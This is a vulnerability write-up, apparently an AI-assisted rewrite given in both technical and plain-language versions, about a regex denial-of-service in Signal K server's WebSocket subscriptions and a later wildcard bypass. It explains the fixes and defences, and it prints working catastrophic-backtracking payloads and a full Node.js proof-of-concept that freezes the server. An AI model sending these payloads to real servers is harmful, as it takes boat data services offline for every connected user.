Skip to content
DoS Write-up Intermediate

WebSocket ReDoS via Subscription Path: An Undocumented Attack Vec

Signal K server before version 2.25.0 turned user-supplied WebSocket subscription context strings into regular expressions while escaping only dots and wildcards, so other regex metacharacters passed through. An unauthenticated attacker could send a single subscription message containing a nested quantifier that caused catastrophic backtracking, blocking the Node.js event loop and freezing the server for all connected users.

Vashu Vats Follow

Published on meetcyber.net

Cybersecurity

Vashu Vats, on meetcyber.net

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

Signal K is an open marine data standard and server. It aggregates GPS, AIS, depth, wind and engine data from a boat's instruments and streams it to client apps over a WebSocket API. Clients subscribe to the data they care about using a path-and-context filter, for example "send me everything under navigation.* for vessels.self."

To support those wildcards, the server turns each subscription string into a regular expression. The vulnerability described here, CVE-2026-39320, is an unauthenticated WebSocket ReDoS in Signal K server versions before 2.25.0: user-controlled subscription strings are converted into regex patterns without proper escaping, allowing an attacker to trigger catastrophic backtracking and crash the server by consuming 100% CPU.

The write-up also covers a second, related vulnerability in the same file, GHSA-qf2w-mm2p-jmg9, found after the first patch.

Setup

The proof of concept targets a local Signal K instance:

  • Host localhost, port 3000.
  • WebSocket endpoint ws://localhost:3000/signalk/v1/stream?subscribe=none.
  • HTTP API at http://localhost:3000/signalk/v1/api/, used only as a responsiveness probe.
  • Node.js v22 for the local regex timing measurements.
  • docker stats to observe CPU on the server side.
  • The PoC script uses the ws and http Node modules.

No account or authentication is needed: the vulnerable subscription path is reachable anonymously. The vulnerable code is in src/subscriptionmanager.ts at tag v2.24.0.

Finding it

The researcher frames the bug as a language mismatch. The developer thought of context as a glob, a simple wildcard string. The code treats it as a regex. Those are two different languages, and the gap between them is attacker-controlled. Compiling untrusted input into a regex is, security-wise, in the same family as eval() on untrusted input: you have handed the user a small programming language and asked them to be polite.

From the original on meetcyber.net

The pre-patch code, verbatim from src/subscriptionmanager.ts at tag v2.24.0, contains two places where this happens. The first is the path matcher:

JavaScript
function pathMatcher(path: string = '*') {  const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')  const matcher = new RegExp('^' + pattern + '$')  return (aPath: string) => matcher.test(aPath)}

The second handles the subscription context:

JavaScript
if (isString(subscribeCommand.context)) {  const pattern = subscribeCommand.context    .replace(/\./g, '\\.')       .replace(/\*/g, '.*')      const matcher = new RegExp('^' + pattern + '$')    return (normalizedDeltaData: WithContext) =>    matcher.test(normalizedDeltaData.context) || }

The escaping replaces . with \. so literal dots do not act as "any character", and turns the wildcard * into .* so wildcards work. That is all it does. Every other regex metacharacter, namely +, (, ), [, ], ?, {, }, |, ^ and $, passes straight through into new RegExp(). That is the entire vulnerability.

Exploitation

Step 1: understand why a nested quantifier freezes the server

Most common regex engines (JavaScript V8, Python, PCRE, Java, Ruby and .NET) use backtracking. When a pattern has multiple possible ways to match input, the engine tries different combinations until it finds a match or exhausts the possibilities. The danger comes when ambiguous patterns encounter input that almost matches but ultimately fails, forcing the engine to explore every possible combination.

With a nested quantifier such as /(a+)+$/ (without spaces), the engine expects one or more groups of a characters until the end of the string. Given 20 a characters followed by !, it tries one group containing all 20 characters, then two groups (19+1, 18+2, 1+19 and so on), then three groups and every possible partition, until every combination has been tested. The number of combinations grows exponentially, so even short inputs can cause extreme processing delays.

A milder variant is polynomial backtracking, where adjacent quantifiers can consume the same characters, such as \s*\s* or .*.*=.*. This typically causes quadratic or polynomial overhead and often needs only a long input to trigger degradation.

Step 2: choose a payload that looks like a normal subscription

To weaponise the bug, the context must (1) look like a normal subscription, (2) compile into a catastrophic regex, and (3) be guaranteed not to match, because the backtracking explosion only fires on a failed match. Signal K identifies vessels with long strings like vessels.urn:mrn:signalk:uuid:d384dc156010... (38+ characters of [a-z0-9:-]), so the payload writes itself:

Text
vessels.([a-z0-9:-]+)+!

After the server escapes the dot, this becomes:

Text
^vessels\.([a-z0-9:-]+)+!$

That is a classic nested quantifier, ([a-z0-9:-]+)+, wrapped around the exact character class the identifier is made of, followed by a literal ! the identifier lacks. The engine eats the whole 38-character identifier, fails to find !, and backs up to try every possible way to split those characters between the inner and outer +. That is on the order of 2^n attempts, so each extra character roughly doubles the work.

Measured on Node v22 with a same-shape regex against vessels. plus n filler characters: 18 characters took 8 ms, 22 took 20 ms, 24 took 79 ms and 26 took 313 ms. Two more characters, four times the time. A real 38-character UUID is firmly in "blocked until the process dies" territory, and nothing caps the input length.

Step 3: send the payload over one WebSocket

The proof of concept polls the HTTP API every second to measure responsiveness, then opens one WebSocket and fires the single subscription. When the event loop freezes, the poller flips to timeouts:

JavaScript
const WebSocket = require('ws');const http = require('http');const HOST = 'localhost';const PORT = 3000;const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;let requestCount = 0;function checkServerStatus() {  const startTime = Date.now();  const reqId = ++requestCount;  const req = http.get(HTTP_URL, (res) => {    let size = 0;    res.on('data', (chunk) => { size += chunk.length; });    res.on('end', () => {      const latency = Date.now() - startTime;      console.log(`[HTTP #${reqId}] API responded in ${latency}ms`);    });  });  req.on('error', () => console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`));    req.setTimeout(2000, () => {    console.log(`[HTTP #${reqId} TIMEOUT] Server is Unresponsive! (Event loop is blocked)`);    req.destroy();  });}console.log('[+] Starting baseline HTTP polling...');const pollInterval = setInterval(checkServerStatus, 1000);setTimeout(() => {  console.log('\n[!] Initiating WebSocket connection to launch ReDoS...');  const ws = new WebSocket(WS_URL);  ws.on('open', () => {                const pocPayload = {      context: 'vessels.([a-z0-9:-]+)+!',      announceNewPaths: true,      subscribe: [{ path: '*' }],    };    ws.send(JSON.stringify(pocPayload));    console.log('[!] Payload sent. Watch the HTTP pollers now...\n');  });  ws.on('error', (err) => console.error(`[-] WebSocket Error: ${err.message}`));}, 3500);setTimeout(() => { clearInterval(pollInterval); process.exit(0); }, 15000);

The script starts an HTTP poll every second, waits 3.5 seconds, then opens the WebSocket and sends the subscription object. The context field carries the catastrophic pattern, announceNewPaths is set to true and the subscription asks for every path with *. Each HTTP request has a 2-second timeout, after which it logs that the event loop is blocked. The whole run exits after 15 seconds.

The payload itself is 54 bytes:

JSON
{"context":"vessels.([a-z0-9:-]+)+!","announceNewPaths":true,"subscribe":[{"path":"*"}]}

Step 4: observe the result

Baseline: the API answers in tens of milliseconds. The instant the payload lands, the event-loop pollers flip to TIMEOUT and stay there.

From the original on meetcyber.net

On the server side, docker stats shows one core pinned flat.

From the original on meetcyber.net

There is no authentication and no second packet. The process stays frozen until someone kills it, and a supervisor that restarts it just hands the attacker a fresh target.

From the original on meetcyber.net

Root cause

The flaw is that untrusted input is compiled into an unrestricted, backtracking regex. The escaping in subscriptionmanager.ts handles only . and *; every other metacharacter reaches new RegExp() untouched, so the attacker controls the pattern itself, including nested quantifiers.

Why WebSockets make this worse than the same bug over HTTP:

  1. One event loop, every connection. Node.js executes JavaScript on a single main thread. Regex matching is synchronous, so a slow match blocks everything: WebSocket frames, HTTP requests, timers and health checks. A single malicious request can freeze the entire server.
  2. Persistent connections, shared impact. A Node.js process can maintain thousands of WebSocket connections. Freezing its event loop stalls all of them. If heartbeats time out, clients may reconnect simultaneously, creating a reconnect stampede.
  3. Almost no cost to send. Unlike HTTP, WebSockets require a TCP/TLS handshake only once. After connection, an attacker can send tiny messages without repeatedly paying that overhead. Per-message rate limiting is also frequently overlooked.
  4. Often before authentication. Real-time applications commonly allow anonymous subscriptions to public data streams, and CVE-2026-39320 affects precisely this kind of unauthenticated subscription endpoint.
  5. Difficult to detect. WAFs and access logs typically capture the initial HTTP Upgrade request, not individual WebSocket frames, so malicious payloads inside those frames escape traditional request-level monitoring.

The result: an unauthenticated attacker can send a tiny payload, freeze the event loop and disrupt every connected user with a single message.

Impact

An unauthenticated attacker can take a Signal K server offline with one 54-byte WebSocket message. Because the regex match runs synchronously on the single Node.js event loop, every connected client is affected, not just the attacker's connection. The process stays frozen until it is killed, and a supervisor that restarts it only gives the attacker a fresh target. The report does not describe any data exposure or code execution; the impact is denial of service.

Fix

The first patch (v2.25.0)

Signal K fixed CVE-2026-39320 by escaping the previously unhandled regex metacharacters:

JavaScript
.replace(/[\\^$+?()[\]{}|]/g, '\\$&')

This prevented attackers from injecting nested quantifiers through + and (). However, the * wildcard remained intentionally supported and was still converted into an unbounded .*.

The second vulnerability (GHSA-qf2w-mm2p-jmg9)

Researchers exploited that remaining wildcard functionality by supplying repeated wildcard patterns:

Text
*a*a*a*a*a... (30 repetitions)

These became chained .* expressions, creating another catastrophic-backtracking vulnerability; testing on Node.js v22 showed exponential growth. The advisory rates it High, CVSS 7.5, CWE-1333, reported by zx / manus-use, published 7 November 2026, affecting versions up to and including 2.34.0 and patched in 2.37.0.

One file, two High-severity ReDoS vulnerabilities:

ID Mechanism Addressed in
CVE-2026-39320 Injected regex operators v2.25.0
GHSA-qf2w-mm2p-jmg9 Abused unrestricted wildcards v2.37.0

Escaping metacharacters fixed the original attack but not the underlying design flaw: untrusted input was still being compiled into an unrestricted, backtracking regex. The real solutions are to constrain matching complexity, limit input size and avoid backtracking engines for untrusted patterns.

The defensive ladder

  1. Never compile untrusted input into a regex. If a client sends a filter, topic or path, match it with glob or string logic, not new RegExp(userInput). Treat new RegExp on user input like eval.
  2. Escaping metacharacters is necessary but, on its own, provably not enough. Signal K's 2.25.0 fix was correct and still got bypassed three weeks later through the one metacharacter it could not escape, the * wildcard. If your feature rewrites a user token into a quantifier, escaping the other characters does not save you. Treat escaping as a floor, not the fix.
  3. Cap complexity, not just characters. Limit how many wildcards or quantifier-generating tokens a single input may contain, and cap total input length. Limit WebSocket message size too (ws has a maxPayload option). This is the step that would have stopped both Signal K bugs, and it is the one the escaping patch skipped.
  4. Use a non-backtracking engine for untrusted matching: node-re2 (RE2 bindings) for Node, Rust's regex, Go's regexp or .NET's RegexOptions.NonBacktracking. They physically cannot backtrack catastrophically, which makes the whole "did I escape everything?" question moot.
  5. Put a time budget on matching and run risky matches off the main thread (a worker) so one bad match cannot freeze the whole process; drop the connection on overrun.
  6. Authenticate and rate-limit before the expensive parsing, both per-connection and per-message.
  7. Monitor the event loop in production with perf_hooks.monitorEventLoopDelay() and alert on sustained lag. It is the one signal that catches the ReDoS you missed in review, and the one your WAF will never see.

Variants to test

Map where message content meets a regex

Search the target's source for the two dangerous shapes. First, user input compiled into a regex:

Bash
grep -rnE "new RegExp\(|RegExp\(" src/ | grep -v node_modules

Trace each argument back. If any part of it comes from a WebSocket message (a subscription, a filter, a topic, a search term, a path), you have a candidate. This is the strongest finding because the attacker controls the pattern itself. Second, a static regex run against message content: grep for .test(, .match(, .replace(, .exec( and .split( where the subject is attacker-controlled, then inspect each pattern for the shapes below.

Recognise the vulnerable regex shapes

You are looking for ambiguity. Red flags, roughly worst to mildest:

  • Nested quantifiers: (X+)+, (X*)*, (X+)*, exponential. This was the Signal K case.
  • Overlapping alternation under a quantifier: (a|a)*, or (\\.|[^"])* where both branches can eat the same byte, exponential. This was websocket-extensions (CVE-2020-7662 / 7663).
  • Adjacent quantifiers over the same class: \s*\s*, .*.*, *, *, \d+\d+, quadratic. This was ws (CVE-2021-32640) and the fresh/forwarded modules.
  • A quantified group followed by something that often fails: [^=]+=, (...)+$, (...)+!. The trailing token forces the failure that triggers the backtracking.
  • User input interpolated into a pattern with no escaping: the whole game, because the attacker supplies the ambiguity.

Craft the failing input

The explosion only happens on a failed match, so build input that matches the ambiguous or quantified part for as long as possible (a long run of the relevant character class), then append one character that makes the overall match fail (the missing delimiter, the wrong trailing byte). For CVE-2026-39320 that was a long UUID-shaped string the quantifier loves, missing the trailing !. Generalise: find what the regex wants, give it a lot of that, then deny it the ending.

Prove it safely and measure it

Do not eyeball it; measure the event loop, because that is the real impact on a WebSocket server. Keep a cheap heartbeat running (an HTTP poll, or Node's own perf_hooks.monitorEventLoopDelay()), send the payload and show the heartbeat stalling. That is exactly what the PoC does, and it is far more convincing in a report than "the regex is slow." Confirm the regex locally in isolation first by timing it against increasing input lengths; a clean exponential or quadratic curve is your evidence. Then demonstrate against a local instance you control. Never test someone else's production server, because a successful ReDoS is a real outage.

Let the tools help

  • recheck (npx recheck-cli) is the best current JS/TS ReDoS checker; it returns the complexity class and an attack string.
  • CodeQL js/redos / js/polynomial-redos works well in CI; this is the query that found the Rocket.Chat ReDoS (CVE-2021-32832).
  • eslint-plugin-security (detect-unsafe-regex) gives cheap inline linting for obvious cases.
  • RegexStaticAnalysis / rxxr2 / ReScue are the academic tools for mass-scanning harvested regexes, if you want to hunt across many packages the way McLaughlin did.
  • Dependency scanners (npm audit, Snyk, Dependabot, OSV-Scanner) cover the library half. They are necessary but, as the Signal K case shows, blind to your own application code.

Positive results to look for

  • A subscription, filter, topic or path field that reaches new RegExp() and accepts metacharacters such as (, + or |.
  • A local timing curve that doubles with each added character, or squares with input length.
  • A heartbeat that stalls or times out immediately after a single message, with one CPU core pinned.
  • A pattern that still accepts repeated wildcards after a metacharacter-escaping patch, which is the shape of the second Signal K bug.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

A piece of software called Signal K server, which runs on a boat's small computer and shares the boat's instrument readings with apps, had a bug. Anyone who could reach it over the network, without any password, could send it one short message and make it stop responding completely. The message was 54 bytes long. After it arrived, the server sat frozen, using a full processor core, until somebody restarted it.

The cause was a feature that lets apps ask for only the data they care about. An app can say "send me everything under navigation.*", and the server turns that request into a pattern used to filter data. The server built that pattern in a careless way, so a cleverly written request could contain instructions that made the pattern enormously expensive to evaluate. The server would then spend effectively forever trying to answer one question, and while it did, it could do nothing else.

This class of bug is called ReDoS, short for Regular Expression Denial of Service. The write-up also covers a second bug in the same file, found by other researchers after the first fix, which survived because the fix left one door open.

The pieces you need to know first

Before the bug makes sense, here are the basic ideas, each explained from zero.

What a server and an API are

A server is a program that waits for requests from other programs and answers them. An API (Application Programming Interface) is the agreed set of requests a server accepts and the shape of the answers it gives. Think of a restaurant: the menu is the API, the kitchen is the server, and you are the client. You do not walk into the kitchen; you order from the menu.

Signal K's API lets apps ask for boat data. Some requests are ordinary web requests (HTTP), and some use a different channel called a WebSocket.

What HTTP is

HTTP is the request-and-answer style the web runs on. Your browser asks for a page, the server answers with the page, and the conversation ends. Each new request starts a fresh conversation. That is fine for reading articles, but wasteful if you want a constant stream of updates, because every request pays the cost of setting up the connection again.

What a WebSocket is

A WebSocket is a connection that stays open in both directions. It starts life as an ordinary HTTP request that says "please upgrade this connection to a WebSocket", and after the server agrees, both sides can send messages to each other at any time until one of them closes it. Think of the difference between sending letters (HTTP) and making a phone call (WebSocket): on a call you say hello once and then talk freely.

Real-time apps love WebSockets because boat data changes constantly and the app wants to hear about changes the moment they happen.

What a regular expression is

A regular expression, often shortened to regex, is a tiny language for describing text patterns. You write a pattern, and a function checks whether a piece of text matches it. For example, the pattern ^vessels\. means "text that starts with vessels.". Regexes are used everywhere: search boxes, form validation, log filtering, routing.

Regex syntax has special characters, called metacharacters, that mean something other than themselves:

  • . means "any single character".
  • * means "zero or more of the thing before it".
  • + means "one or more of the thing before it".
  • ( and ) group things together.
  • [ and ] define a set of allowed characters, like [a-z0-9] for lowercase letters and digits.
  • ^ and $ mean "start of text" and "end of text".
  • | means "or".

If you want a metacharacter to mean itself literally, you put a backslash in front of it. \. means "a literal dot", not "any character". This is called escaping.

What a glob is

A glob is a much simpler pattern language, the kind used in file names: *.txt means "any file ending in .txt". In a glob, only * and ? are special; everything else is literal. Globs are easy for humans and cheap for computers. Regexes are powerful and, as we will see, can be expensive.

What a subscription is

Signal K lets a client subscribe to data. Instead of asking for one reading at a time, the app says "keep sending me updates that match this filter". The filter has two parts: a path (which measurement, like navigation.speedOverGround) and a context (which vessel, like vessels.self). Wildcards are allowed so an app can ask for a whole family of paths at once.

What a denial of service is

A denial of service (DoS) attack does not steal data or break in. It makes a service unavailable to the people who need it. If a shop's only till is jammed, nobody can buy anything, even though nothing was stolen. ReDoS is a denial of service caused by making a regex take far too long.

What CPU and an event loop are

A CPU is the chip that does the computing. A core is one worker inside it. When a program uses 100% of a core, that core is busy and cannot do anything else.

Node.js, the platform Signal K server is written in, runs JavaScript on a single main thread. That means one worker does all the work, and it takes turns: handle a message, run a timer, answer a request, then the next. This taking-turns arrangement is called the event loop. If one task refuses to finish, everything behind it waits. There is no second worker to pick up the slack.

What a proof of concept is

A proof of concept (PoC) is a small program that demonstrates a bug really works, without causing harm beyond the demonstration. It is the difference between saying "this wall looks weak" and tapping it with a hammer to show the crack.

The product and the feature

Signal K is an open marine data standard and server. It collects GPS, AIS (the automatic identification system ships use to broadcast their position), depth, wind and engine data from a boat's instruments and streams it to apps over a WebSocket API. Clients subscribe to the data they care about using a path-and-context filter, for example "send me everything under navigation.* for vessels.self."

To support those wildcards, the server turns each subscription string into a regular expression. That single design decision is where the trouble starts.

The bug: two languages that look alike

The researcher frames the bug as a language mismatch. The developer thought of context as a glob, a simple wildcard string. The code treats it as a regex. Those are two different languages, and the gap between them is attacker-controlled. Compiling untrusted input into a regex is, security-wise, in the same family as eval() on untrusted input: you have handed the user a small programming language and asked them to be polite.

eval() is a JavaScript function that runs a string as code. If you pass it text a stranger wrote, the stranger is now programming your computer. Building a regex out of a stranger's text is a milder version of the same mistake: the stranger is now writing a program in regex language, and the server will run it.

From the original on meetcyber.net

The pre-patch code, verbatim from src/subscriptionmanager.ts at tag v2.24.0, contains two places where this happens. The first is the path matcher:

JavaScript
function pathMatcher(path: string = '*') {  const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')  const matcher = new RegExp('^' + pattern + '$')  return (aPath: string) => matcher.test(aPath)}

Line by line:

  1. function pathMatcher(path: string = '*') defines a function that takes a path. If no path is given, it defaults to *, meaning "everything".
  2. const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*') builds the pattern in two steps. First it finds every literal dot and puts a backslash in front of it, so the dot will mean a dot rather than "any character". Then it finds every * and replaces it with .*, so the glob wildcard becomes the regex "any characters".
  3. const matcher = new RegExp('^' + pattern + '$') compiles the result into a real regex, anchored with ^ at the start and $ at the end so it must match the whole string.
  4. return (aPath: string) => matcher.test(aPath) returns a small function that, given a path, answers yes or no by running the regex.

The second place handles the subscription context:

JavaScript
if (isString(subscribeCommand.context)) {  const pattern = subscribeCommand.context    .replace(/\./g, '\\.')       .replace(/\*/g, '.*')      const matcher = new RegExp('^' + pattern + '$')    return (normalizedDeltaData: WithContext) =>    matcher.test(normalizedDeltaData.context) || }

Line by line:

  1. if (isString(subscribeCommand.context)) { checks that the client actually sent a context as text.
  2. const pattern = subscribeCommand.context starts from the client's text.
  3. .replace(/\./g, '\\.') escapes literal dots, as before.
  4. .replace(/\*/g, '.*') turns glob wildcards into regex wildcards, as before.
  5. const matcher = new RegExp('^' + pattern + '$') compiles the client's text into a regex.
  6. return (normalizedDeltaData: WithContext) => matcher.test(normalizedDeltaData.context) || returns a function that tests incoming data against that regex.

The escaping replaces . with \. so literal dots do not act as "any character", and turns the wildcard * into .* so wildcards work. That is all it does. Every other regex metacharacter, namely +, (, ), [, ], ?, {, }, |, ^ and $, passes straight through into new RegExp(). That is the entire vulnerability.

In plain terms: the code checks two of the twelve or so special characters and lets the rest through. A client can therefore write regex instructions into what the server believes is a harmless filter.

Why a regex can freeze a computer

Backtracking, explained with a maze

Most common regex engines (JavaScript V8, Python, PCRE, Java, Ruby and .NET) use backtracking. When a pattern has multiple possible ways to match input, the engine tries different combinations until it finds a match or exhausts the possibilities. The danger comes when ambiguous patterns encounter input that almost matches but ultimately fails, forcing the engine to explore every possible combination.

A useful comparison is a maze with a rule: at every junction, take the left path first, and if you hit a dead end, come back and try the next one. That works fine in a small maze. Now imagine a maze where every junction doubles the number of paths, and the exit does not exist. The explorer will try every path before giving up. That is backtracking on a failed match.

The nested quantifier problem

With a nested quantifier such as /(a+)+$/ (without spaces), the engine expects one or more groups of a characters until the end of the string. Given 20 a characters followed by !, it tries one group containing all 20 characters, then two groups (19+1, 18+2, 1+19 and so on), then three groups and every possible partition, until every combination has been tested. The number of combinations grows exponentially, so even short inputs can cause extreme processing delays.

Why exponential matters: exponential growth means each extra character roughly doubles the work. Twenty characters is about a million combinations; forty characters is about a trillion. A computer that handles a million in milliseconds will not finish a trillion in your lifetime.

Polynomial backtracking

A milder variant is polynomial backtracking, where adjacent quantifiers can consume the same characters, such as \s*\s* or .*.*=.*. This typically causes quadratic or polynomial overhead and often needs only a long input to trigger degradation.

Quadratic means the work grows with the square of the input length: twice as long is four times the work. That is far gentler than exponential, but a long enough input still hurts.

Building the attack

Step 1: choose a payload that looks like a normal subscription

To weaponise the bug, the context must (1) look like a normal subscription, (2) compile into a catastrophic regex, and (3) be guaranteed not to match, because the backtracking explosion only fires on a failed match. Signal K identifies vessels with long strings like vessels.urn:mrn:signalk:uuid:d384dc156010... (38+ characters of [a-z0-9:-]), so the payload writes itself:

Text
vessels.([a-z0-9:-]+)+!

Why each part is there:

  • vessels. makes it look like a real vessel identifier, so it passes casual inspection.
  • ([a-z0-9:-]+)+ is the nested quantifier. The inner + means "one or more characters from the set lowercase letters, digits, colon and hyphen". The outer + means "one or more of those groups". Because the same characters can be split between groups in many ways, the engine has an enormous number of choices.
  • ! is a character that a real vessel identifier never contains. It guarantees the match will fail, which is exactly what triggers the backtracking.

After the server escapes the dot, this becomes:

Text
^vessels\.([a-z0-9:-]+)+!$

That is a classic nested quantifier, ([a-z0-9:-]+)+, wrapped around the exact character class the identifier is made of, followed by a literal ! the identifier lacks. The engine eats the whole 38-character identifier, fails to find !, and backs up to try every possible way to split those characters between the inner and outer +. That is on the order of 2^n attempts, so each extra character roughly doubles the work.

Measured on Node v22 with a same-shape regex against vessels. plus n filler characters: 18 characters took 8 ms, 22 took 20 ms, 24 took 79 ms and 26 took 313 ms. Two more characters, four times the time. A real 38-character UUID is firmly in "blocked until the process dies" territory, and nothing caps the input length.

A UUID is a long identifier meant to be unique, like a serial number. Signal K uses them inside vessel names, which is why the attacker knows a long run of allowed characters will be there.

Step 2: send the payload over one WebSocket

The proof of concept polls the HTTP API every second to measure responsiveness, then opens one WebSocket and fires the single subscription. When the event loop freezes, the poller flips to timeouts:

JavaScript
const WebSocket = require('ws');const http = require('http');const HOST = 'localhost';const PORT = 3000;const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;let requestCount = 0;function checkServerStatus() {  const startTime = Date.now();  const reqId = ++requestCount;  const req = http.get(HTTP_URL, (res) => {    let size = 0;    res.on('data', (chunk) => { size += chunk.length; });    res.on('end', () => {      const latency = Date.now() - startTime;      console.log(`[HTTP #${reqId}] API responded in ${latency}ms`);    });  });  req.on('error', () => console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`));    req.setTimeout(2000, () => {    console.log(`[HTTP #${reqId} TIMEOUT] Server is Unresponsive! (Event loop is blocked)`);    req.destroy();  });}console.log('[+] Starting baseline HTTP polling...');const pollInterval = setInterval(checkServerStatus, 1000);setTimeout(() => {  console.log('\n[!] Initiating WebSocket connection to launch ReDoS...');  const ws = new WebSocket(WS_URL);  ws.on('open', () => {                const pocPayload = {      context: 'vessels.([a-z0-9:-]+)+!',      announceNewPaths: true,      subscribe: [{ path: '*' }],    };    ws.send(JSON.stringify(pocPayload));    console.log('[!] Payload sent. Watch the HTTP pollers now...\n');  });  ws.on('error', (err) => console.error(`[-] WebSocket Error: ${err.message}`));}, 3500);setTimeout(() => { clearInterval(pollInterval); process.exit(0); }, 15000);

Line by line:

  1. const WebSocket = require('ws'); loads the ws library, which lets Node.js open WebSocket connections.
  2. const http = require('http'); loads Node's built-in HTTP module, used here only to check whether the server is still answering.
  3. const HOST = 'localhost'; and const PORT = 3000; point at a Signal K instance running on the same machine, on port 3000. localhost means "this computer".
  4. const WS_URL = ... builds the WebSocket address, ending in ?subscribe=none so the server does not send any data until asked.
  5. const HTTP_URL = ... builds the address used as a heartbeat.
  6. let requestCount = 0; keeps a counter so each log line can be numbered.
  7. function checkServerStatus() { defines the heartbeat: one HTTP request, timed.
  8. const startTime = Date.now(); records the moment the request starts.
  9. const reqId = ++requestCount; gives this request its number.
  10. const req = http.get(HTTP_URL, (res) => { sends the request and prepares to handle the answer.
  11. let size = 0; and res.on('data', ...) count the bytes of the answer, which is not otherwise used.
  12. res.on('end', ...) runs when the answer is complete and logs how many milliseconds it took.
  13. req.on('error', ...) logs if the connection is refused or dropped.
  14. req.setTimeout(2000, ...) sets a two-second limit. If the answer has not arrived by then, it logs that the server is unresponsive and the event loop is blocked, then destroys the request.
  15. console.log('[+] Starting baseline HTTP polling...'); announces the start.
  16. const pollInterval = setInterval(checkServerStatus, 1000); runs the heartbeat every second.
  17. setTimeout(() => { ... }, 3500); waits 3.5 seconds before attacking, so there is a baseline of healthy answers to compare against.
  18. const ws = new WebSocket(WS_URL); opens the WebSocket.
  19. ws.on('open', () => { ... }); runs once the connection is ready.
  20. const pocPayload = { ... }; builds the subscription object: the malicious context, announceNewPaths: true, and a subscription to every path with *.
  21. ws.send(JSON.stringify(pocPayload)); converts the object to JSON text and sends it. This is the attack: one message.
  22. ws.on('error', ...) logs any WebSocket error.
  23. setTimeout(() => { clearInterval(pollInterval); process.exit(0); }, 15000); stops the heartbeat and exits after 15 seconds, so the demonstration cleans up after itself.

The script starts an HTTP poll every second, waits 3.5 seconds to establish a baseline, then opens the WebSocket and sends the subscription object. The context field carries the catastrophic pattern, announceNewPaths is set to true and the subscription asks for every path with *. Each HTTP request has a 2-second timeout, after which it logs that the event loop is blocked. The whole run exits after 15 seconds.

The payload itself is 54 bytes:

JSON
{"context":"vessels.([a-z0-9:-]+)+!","announceNewPaths":true,"subscribe":[{"path":"*"}]}

JSON is a text format for structured data: curly braces hold an object, names and values are separated by colons, and items are separated by commas. The server reads this text and acts on it.

Step 3: observe the result

Baseline: the API answers in tens of milliseconds. The instant the payload lands, the event-loop pollers flip to TIMEOUT and stay there.

From the original on meetcyber.net

On the server side, docker stats shows one core pinned flat.

From the original on meetcyber.net

docker stats is a command that shows live resource use for containers, which are packaged programs. The image shows one CPU core pinned flat, the signature of a single blocked thread.

There is no authentication and no second packet. The process stays frozen until someone kills it, and a supervisor that restarts it just hands the attacker a fresh target.

From the original on meetcyber.net

A supervisor is a program that watches another program and restarts it if it dies. Here it makes things worse: a restart just hands the attacker a fresh target.

Why WebSockets make this worse than the same bug over HTTP

  1. One event loop, every connection. Node.js executes JavaScript on a single main thread. Regex matching is synchronous, so a slow match blocks everything: WebSocket frames, HTTP requests, timers and health checks. A single malicious request can freeze the entire server.
  2. Persistent connections, shared impact. A Node.js process can maintain thousands of WebSocket connections. Freezing its event loop stalls all of them. If heartbeats time out, clients may reconnect simultaneously, creating a reconnect stampede.
  3. Almost no cost to send. Unlike HTTP, WebSockets require a TCP/TLS handshake only once. After connection, an attacker can send tiny messages without repeatedly paying that overhead. Per-message rate limiting is also frequently overlooked.
  4. Often before authentication. Real-time applications commonly allow anonymous subscriptions to public data streams, and CVE-2026-39320 affects precisely this kind of unauthenticated subscription endpoint.
  5. Difficult to detect. WAFs and access logs typically capture the initial HTTP Upgrade request, not individual WebSocket frames, so malicious payloads inside those frames escape traditional request-level monitoring.

A handshake is the opening exchange that sets up a secure connection. A WAF (web application firewall) is a filter that inspects incoming web traffic and blocks suspicious requests. Rate limiting means refusing to accept too many requests from one source in a short time.

The result: an unauthenticated attacker can send a tiny payload, freeze the event loop and disrupt every connected user with a single message.

Impact

An unauthenticated attacker can take a Signal K server offline with one 54-byte WebSocket message. Because the regex match runs synchronously on the single Node.js event loop, every connected client is affected, not just the attacker's connection. The process stays frozen until it is killed, and a supervisor that restarts it only gives the attacker a fresh target. The report does not describe any data exposure or code execution; the impact is denial of service.

The fix, and the fix that was not enough

The first patch (v2.25.0)

Signal K fixed CVE-2026-39320 by escaping the previously unhandled regex metacharacters:

JavaScript
.replace(/[\\^$+?()[\]{}|]/g, '\\$&')

Line by line:

  1. .replace(...) finds text matching a pattern and replaces it.
  2. /[\\^$+?()[\]{}|]/g is the search pattern: a character set containing backslash, caret, dollar, plus, question mark, round brackets, square brackets, curly braces and pipe. The g at the end means "every occurrence", not just the first.
  3. '\\$&' is the replacement: a backslash followed by whatever was found. $& is a special placeholder meaning "the matched text". So every dangerous character gets a backslash in front of it and becomes literal.

This prevented attackers from injecting nested quantifiers through + and (). However, the * wildcard remained intentionally supported and was still converted into an unbounded .*.

In other words, the patch closed the door the researcher used but kept another door open on purpose, because the wildcard feature needed it.

The second vulnerability (GHSA-qf2w-mm2p-jmg9)

Researchers exploited that remaining wildcard functionality by supplying repeated wildcard patterns:

Text
*a*a*a*a*a... (30 repetitions)

These became chained .* expressions, creating another catastrophic-backtracking vulnerability; testing on Node.js v22 showed exponential growth. The advisory rates it High, CVSS 7.5, CWE-1333, reported by zx / manus-use, published 7 November 2026, affecting versions up to and including 2.34.0 and patched in 2.37.0.

A CVSS score is a standard number from 0 to 10 for how serious a vulnerability is; 7.5 is in the High band. CWE-1333 is a catalogue entry for "inefficient regular expression complexity", the official name for this kind of bug. An advisory is the public notice describing a vulnerability and its fix.

One file, two High-severity ReDoS vulnerabilities:

ID Mechanism Addressed in
CVE-2026-39320 Injected regex operators v2.25.0
GHSA-qf2w-mm2p-jmg9 Abused unrestricted wildcards v2.37.0

A CVE is a public identifier for a known vulnerability. A GHSA is a similar identifier issued by GitHub's advisory database.

